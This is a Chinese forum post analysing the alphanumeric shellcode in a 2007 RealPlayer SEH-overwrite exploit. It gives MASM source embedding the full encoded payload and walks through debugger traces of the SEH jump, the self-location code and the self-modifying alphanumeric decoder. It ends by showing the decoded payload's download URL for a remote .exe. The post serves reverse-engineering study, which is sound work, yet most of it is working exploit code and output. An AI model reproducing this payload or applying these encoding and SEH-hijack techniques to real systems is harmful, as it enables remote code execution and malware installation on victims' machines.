看到snowdbg刚刚的一篇精华文章http://bbs.pediy.com/showthread.php?t=113177谈到了纯字符型shellcode的加解密问题,其中achillis道出了关键:
该漏洞的原理请参考
[1]http://bbs.pediy.com/showthread.php?t=55357
该漏洞的触发过程及如何跳入shellcode的过程,参考
[2]http://www.sinoit.org.cn/NewsLetter/NO.11/1104.html
从以上两篇文章可以看到,该漏洞的利用是通过触发栈溢出并覆盖SEH处理例程地址来实现的,其中以下段落指出的编写Exploit的关键:
1. 使用纯字符shellcode的原因:IE浏览器将超长的数据传递给Realplayer时,对数据进行了ASCII->UNICODE转换,而漏洞相关函数中对字符串又进行了UNICODE->ASCII转换,为了保证包含有要覆盖的SEH地址和shellcode的超长输入数据在ASCII->UNICODE->ASCII转换后还能正确运行,不但必须使用纯字符型shellcode,而且连覆盖的SEH处理例程地址有了更严格的限制。
2. 当覆盖的SEH处理例程地址有更严格的限制的情况下,必须考虑怎么选择这个地址位置以方便跳入shellcode了,并充分利用SEH处理例程环境的特殊性为后续处理提供便利。这里找到的地址0x60093179不但刚好满足ASCII->UNICODE->ASCII转换后不变的条件,而且该处的代码形如:
pop e?x
pop e?x
ret
下面的调试过程中将看到,选择这样的代码作为SEH处理例程内容的好处,是因为根据SEH处理例程的格式,ret后的EIP指针将是相应的EXCEPTION_REGISTRATION结构的头部,也即原来应该保存上一个EXCEPTION_REGISTRATION结构指针的位置,因此Exploit将此处的4字节代码指定为jmp06 jmp04的话,经过这四字节代码之后正好跳入下面的shellcode。
3. 接下来就是shellcode的编写问题,开头纯字符代码,必须要完成代码重定位并对自身后面的加密内容进行解密。下面的调试过程中将看到,由于shellcode所处的环境特殊,它是由SEH处理例程跳进来的,因此可以通过比较特殊的方法进行重定位,而且在纯字母数字的限制下解码引擎使用SMC等精妙的手法完成了“带着镣铐跳舞”的任务。
为了更实际地模拟这个漏洞溢出跳入SEH后的执行过程,我写了一段代码人为地构建这样的环境并触发进入SEH(我自己就不需要考虑把SEH地址也搞成纯字符了)。注意文章[2]里面有一个地方有点问题,在紧接着shellcode后面应该填入一个"A"才正确,因为下面的分析可以看到在解码引擎中"A"是作为加密shellcode数据的结束标志的。
我的代码源文件内容如下:
代码:
.386 .model flat,stdcall option casemap:none .data payload dd 04740675h, 41414141h db 'LLLL\XXXXXLD' db 'TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0q' db 'JPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0' db 'z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGON' db 'uKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2' db 'DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOL' db 'NQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQW' db 'RU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp' db '5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4' db 'CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS' db '4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZV' db 'OdoRWQgrWTnQw2Y3JT96NPod2pgToPgrY0z2YTnSUQhU5k0wpA',0 .code Start: push esi push edi push ebx sub esp, 400h call reloc reloc: pop ebx mov esi, offset payload mov edi, esi xor eax, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esp rep movsb assume fs:nothing mov fs:[0], esp add ebx, sehhandle-reloc mov [esp+4], ebx xor eax, eax mov dword ptr [eax], 0 pop ebx sehhandle: pop edi pop esi ret end Start
用OD载入附件中的shellcode.exe,忽略所有异常:
00401000 >/$ 56 push esi
00401001 |. 57 push edi
00401002 |. 53 push ebx
00401003 |. 81EC 00040000 sub esp, 400
00401009 |. E8 00000000 call 0040100E
0040100E |$ 5B pop ebx
0040100F |. BE 00204000 mov esi, 00402000
00401014 |. 8BFE mov edi, esi
00401016 |. 33C0 xor eax, eax
00401018 |. 83C9 FF or ecx, FFFFFFFF
0040101B |. 33C0 xor eax, eax
0040101D |. F2:AE repne scas byte ptr es:[edi]
0040101F |. F7D1 not ecx
00401021 |. 49 dec ecx
00401022 |. 8BFC mov edi, esp
00401024 |. F3:A4 rep movs byte ptr es:[edi], byte ptr>
00401026 |. 64:8925 00000>mov dword ptr fs:[0], esp
0040102D |. 81C3 32000000 add ebx, 32
00401033 |. 895C24 04 mov dword ptr [esp+4], ebx
00401037 |. 33C0 xor eax, eax
00401039 |. C700 00000000 mov dword ptr [eax], 0
0040103F |. 5B pop ebx
00401040 |. 5F pop edi ; SEH处理例程地址
00401041 |. 5E pop esi
00401042 \. C3 retn
1. 如何从SEH处理例程进入shellcode
在00401040处按一下F4,断下了,看堆栈中的情况(注意,从这里开始,这个堆栈中的内容以及下面整个shellcode的位置在不同的执行环境下有可能不同,重复时以实际的数值为准):
0013F7E8 7C9232A8 返回到 ntdll.7C9232A8
0013F7EC 0013F8D0
0013F7F0 0013FBB8
0013F7F4 0013F8EC
0013F7F8 0013F8A4
根据SEH处理例程的调用规范,其四个输入参数为:
pExcept:DWORD,pErr:DWORD,pContext:DWORD,pDispatch
其中前面几个参数意义为
pExcept: --- EXCEPTION_RECORD结构的指针
pErr: --- EXCEPTION_REGISTRATION结构的指针
pContext: --- CONTEXT结构的指针
pDispatch
这里可以看到,当步过两个pop,ret代码执行之前,堆栈处保存的指针是0013FBB8,这正是相应EXCEPTION_REGISTRATION结构的指针,也正是整个有效内容的头部:
0013FBB8 75 06 74 04 40 10 40 00 4C 4C 4C 4C 5C 58 58 58 ut@@.LLLL\XXX
0013FBC8 58 58 4C 44 54 59 49 49 49 49 49 49 49 49 49 49 XXLDTYIIIIIIIIII
0013FBD8 49 49 49 49 49 49 37 51 5A 6A 41 58 50 30 41 30 IIIIII7QZjAXP0A0
0013FBE8 41 6B 41 41 51 32 41 42 32 42 42 30 42 42 41 42 AkAAQ2AB2BB0BBAB
ret之后,跳进去这段代码:
0013FBB8 /75 06 jnz short 0013FBC0
0013FBBA |74 04 je short 0013FBC0
0013FBBC |40 inc eax
0013FBBD |1040 00 adc byte ptr [eax], al
0013FBC0 \4C dec esp ; 单步一次或两次到这里
前面两个判断跳转就是绕过了SEH处理例程那4字节内容,跳到了下面的shellcode开头,至此上面说的第2点要求的实现过程已经看清了。
注:正是SEH处理例程中可直接访问相应EXCEPTION_REGISTRATION结构的这个特性给EXCEPTION_REGISTRATION结构带来了可扩展性,也即只要在原有结构的基础上在后面附上额外的数据,则自定义的SEH处理例程可以方便地访问这些数据得到额外的信息。因此,这里后面的整个shellcode内容就可以看作是扩展后的EXCEPTION_REGISTRATION结构的附带数据,而这里Exploit利用了一个畸型的扩展的EXCEPTION_REGISTRATION结构达到了进入shellcode的目的。
2. 如何进行自定位并满足解码引擎的要求进入解码引擎前的前置代码
进入了shellcode之后,首先面临的就是自定位问题。一般的重定位可以采用call和pop的方式,而这里由于shellcode代码纯字符的限制不能使用,那么应该怎么做呢?
同样由于这里shellcode所在的环境比较特殊,它是由SEH例程ret进来的,因此ret时的那个地址,也就是前面说的相应EXCEPTION_REGISTRATION结构的指针现在正位于[esp-4]处,于是通过以下代码:
0013FBC0 4C dec esp
0013FBC1 4C dec esp
0013FBC2 4C dec esp
0013FBC3 4C dec esp
0013FBC4 5C pop esp
重新得到了0013FBB8这个地址到esp中。但是,前面这部分代码本身也占据空间,为了下面的代码能够对齐(这是指定的解码引擎的要求),又再度使用了单字节的pop代码(实际效果是每pop一次esp加4)和esp的递增递减代码达到自洽:
0013FBC5 58 pop eax
0013FBC6 58 pop eax
0013FBC7 58 pop eax
0013FBC8 58 pop eax
0013FBC9 58 pop eax
0013FBCA 4C dec esp
0013FBCB 44 inc esp
0013FBCC 54 push esp ; 该指令执行前esp=0013FBCC,即该指令本身的位置
0013FBCD 59 pop ecx
所谓的“自洽”,其结果就是当代码运行到0013FBCC时(该处指令还未执行),esp恰好也为0013FBCC,即该指令本身的位置,这是进入指定的解码引擎所必须的要求。
因此,从0013FBC0到0013FBCB的这部分代码,在文章[2]的exploit脚本中为AdjESP变量,就是为了满足指定的解码引擎的要求进行自定位而进行的修改esp的操作。解码引擎要求进入其中时esp指向其代码头部,也就是说自定位的工作必须交给前面这些内容来辅助实现。这就是我前面花这么大篇幅描述的原因,对于Exploit编写者来说这两部分是最需要费心的地方,因为毕竟后面的解码引擎已经有写好的范本而且可以反复重用。
3. 纯字符shellcode的关键所在精妙的解码引擎
从0013FBCC开始的代码就是纯字符shellcode的解码引擎了,开头是这样的:
0013FBCC 54 push esp ; 该指令执行前esp=0013FBCC,即该指令本身的位置
0013FBCD 59 pop ecx
0013FBCE 49 dec ecx
0013FBCF 49 dec ecx
0013FBD0 49 dec ecx
0013FBD1 49 dec ecx
0013FBD2 49 dec ecx
0013FBD3 49 dec ecx
0013FBD4 49 dec ecx
0013FBD5 49 dec ecx
0013FBD6 49 dec ecx
0013FBD7 49 dec ecx
0013FBD8 49 dec ecx
0013FBD9 49 dec ecx
0013FBDA 49 dec ecx
0013FBDB 49 dec ecx
0013FBDC 49 dec ecx
0013FBDD 49 dec ecx
0013FBDE 37 aaa
0013FBDF 51 push ecx
0013FBE0 5A pop edx
0013FBE1 6A 41 push 41
0013FBE3 58 pop eax
0013FBE4 50 push eax
0013FBE5 3041 30 xor byte ptr [ecx+30], al
0013FBE8 41 inc ecx
0013FBE9 6B41 41 51 imul eax, dword ptr [ecx+41], 51
首先显然ecx是(和后来的edx)取代了esp成为自定位代码位置的关键。那么前面拼命的dec ecx是干嘛呢?其实这又是一个“自洽”,是为了后面的xor和imul等解码中的30h、41h等数目能够刚刚好满足纯字符限制(30h的ASCII码即表示'0',41h的ASCII码即表示'A')。
3.1 解码代码的恢复(1)利用xor进行解码引擎内部的第一次SMC
代码第一个重要的实现,就是那个xor:
0013FBDF 51 push ecx ; ecx=0013FBBC
0013FBE0 5A pop edx
0013FBE1 6A 41 push 41
0013FBE3 58 pop eax
0013FBE4 50 push eax
0013FBE5 3041 30 xor byte ptr [ecx+30], al ; xor byte ptr [0013FBEC], 41h
0013FBE8 41 inc ecx
0013FBE9 6B41 41 51 imul eax, dword ptr [ecx+41], 51
这跑到xor指令(尚未执行)时看到的代码状态,我是不是该说一句“接下来就是见证奇迹的时刻”?单步一下,好吧其实上面的注释我已经透露了,xor一下变成这样:
0013FBDF 51 push ecx ; ecx=0013FBBC
0013FBE0 5A pop edx
0013FBE1 6A 41 push 41
0013FBE3 58 pop eax
0013FBE4 50 push eax
0013FBE5 3041 30 xor byte ptr [ecx+30], al ; xor byte ptr [0013FBEC], 41h
0013FBE8 41 inc ecx
0013FBE9 6B41 41 10 imul eax, dword ptr [ecx+41], 10 ; 解码引擎的第一次SMC,还原该指令
下面一句imul代码中的51h已然变成10h。
这里可以看到,由于解码引擎本身必须纯字母数字的限制,原本的10h这个字节不能直接存在,因此解码引擎采用了这样一种xor的方式在运行时进行SMC还原自身。
3.2 解码代码的恢复(2)利用解码引擎自身进行第二次SMC
接下来解码引擎看起来已经开始了,单步到0013FBF3(未执行),此时的代码情况:
0013FBE8 41 inc ecx
0013FBE9 6B41 41 10 imul eax, dword ptr [ecx+41], 10 ; imul eax, dword ptr [0013FBFE], 10h
0013FBED 3241 42 xor al, byte ptr [ecx+42] ; xor al, byte ptr [0013FBFF]
0013FBF0 3242 42 xor al, byte ptr [edx+42] ; xor al, byte ptr [0013FBFE]
0013FBF3 3042 42 xor byte ptr [edx+42], al ; xor byte ptr [0013FBFE], al
0013FBF6 41 inc ecx
0013FBF7 42 inc edx
0013FBF8 58 pop eax
0013FBF9 50 push eax
0013FBFA 3841 42 cmp byte ptr [ecx+42], al
0013FBFD 75 4A jnz short 0013FC49
好了,又是一个“见证奇迹的时刻”,单步过了这个xor指令,代码变成这样:
0013FBE8 41 inc ecx
0013FBE9 6B41 41 10 imul eax, dword ptr [ecx+41], 10 ; imul eax, dword ptr [0013FBFE], 10h
0013FBED 3241 42 xor al, byte ptr [ecx+42] ; xor al, byte ptr [0013FBFF]
0013FBF0 3242 42 xor al, byte ptr [edx+42] ; xor al, byte ptr [0013FBFE]
0013FBF3 3042 42 xor byte ptr [edx+42], al ; xor byte ptr [0013FBFE], al
0013FBF6 41 inc ecx
0013FBF7 42 inc edx
0013FBF8 58 pop eax
0013FBF9 50 push eax
0013FBFA 3841 42 cmp byte ptr [ecx+42], al
0013FBFD ^ 75 E9 jnz short 0013FBE8 ; 解码引擎的第二次SMC,还原往回跳的指令
可以看到,第一次的解码实际上解的不是后面的原始shellcode代码,而洽洽是解码引擎的最后一个字节,即把这个形成循环的往回跳的jnz指令的中的代表偏移的字节给还原了。这也是因为E9h这个字节不符合纯字符的要求而做的改变。
综上,通过巧妙地构建解码引擎,可以在编排时代码符合纯字符的前提下,在运行时将自身的解码代码通过精心设计的SMC还原出来,从而正常实现解码功能。
正如achillis所说,解码引擎这一部分是如此优美和谐以及自洽,体现了引擎编写者深厚的功力。
3.3 原始shellcode数据的解码
走过一次上面的代码,到0013FBFD处跳回去后,以后的循环就是
0013FBE8 41 inc ecx
0013FBE9 6B41 41 10 imul eax, dword ptr [ecx+41], 10
0013FBED 3241 42 xor al, byte ptr [ecx+42]
0013FBF0 3242 42 xor al, byte ptr [edx+42]
0013FBF3 3042 42 xor byte ptr [edx+42], al
0013FBF6 41 inc ecx
0013FBF7 42 inc edx
0013FBF8 58 pop eax ; 此指令执行后总有eax=41h即'A'
0013FBF9 50 push eax
0013FBFA 3841 42 cmp byte ptr [ecx+42], al ; 以'A'为结束符
0013FBFD ^ 75 E9 jnz short 0013FBE8
分析这个解码算法,其实就是两个字节的密文得到一个字节的原文。解码引擎中ecx是用来指向密文地址,而edx是用来指向原文地址。其中的这两句
0013FBF0 3242 42 xor al, byte ptr [edx+42]
0013FBF3 3042 42 xor byte ptr [edx+42], al
其实起的效果就是mov byte ptr [edx+42], al,这又是因为mov指令不合纯字符的问题而采用两个xor指令代替。
具体的算法,比如两个字节密文的16进制表示如果是0xKL和0xMN(这里的K~N为代数)而原文是0xXY,那么则有X=L^M,Y=N。应该说对于纯字母数字的ASCII码,K和L是限制因子,而这个解码引擎可以看到K为多少是完全不影响解码的,而纯字母数字的L和N是可以覆盖00h到0Fh的范围的,而L^M同样可以覆盖这个范围,所以通过两个字节的密文是可以模拟00h到0FFh的所有原文的。
另外从这个算法,可以看到密文结尾必须加一个'A'做结束标志从而结束循环,直接到0013FBFF处执行解密后的代码。至于密文中为何不会有'A',可以回头看文章[2]中的生成代码:
综上,只要在0013FBFF按一下F4,即得到解码完毕进入shellcode开头:
0013FBFF /EB 10 jmp short 0013FC11
0013FC01 |5A pop edx
0013FC02 |4A dec edx
0013FC03 |33C9 xor ecx, ecx
0013FC05 |66:B9 3C01 mov cx, 13C
0013FC09 |80340A 66 xor byte ptr [edx+ecx], 66
0013FC0D ^|E2 FA loopd short 0013FC09
0013FC0F |EB 05 jmp short 0013FC16
0013FC11 \E8 EBFFFFFF call 0013FC01
到了这里,纯字符shellcode的解码引擎的工作完成了,控制权交给了原始shellcode(这里指不再是纯字符的普通shellcode层面)。当然这里原始shellcode又加了一个简单的xor,在0013FC16处按一下F4就解出来了,具体的就不再涉及,病毒URL地址在下面:
0013FD52 68 74 74 70 3A 2F 2F 77 77 77 2E 67 79 7A 79 2E http://www.gyzy.
0013FD62 6F 72 67 2F 67 79 7A 79 2E 65 78 65 80 00 org/gyzy.exe.
总结:本文分析了07年的Realplayer漏洞中示例Exploit从SEH处理例程一直到纯字符shellcode解码引擎执行的过程,简要分析了在纯字符条件限制下的SEH处理例程中进入shellcode的方法、解码引擎前面进行特殊情况下的自定位的前置代码,以及重点分析了由纯字母数字组成的解码引擎代码的精妙处理过程和解码步骤,希望能够借此揭示纯字符shellcode编写技巧的冰山一角。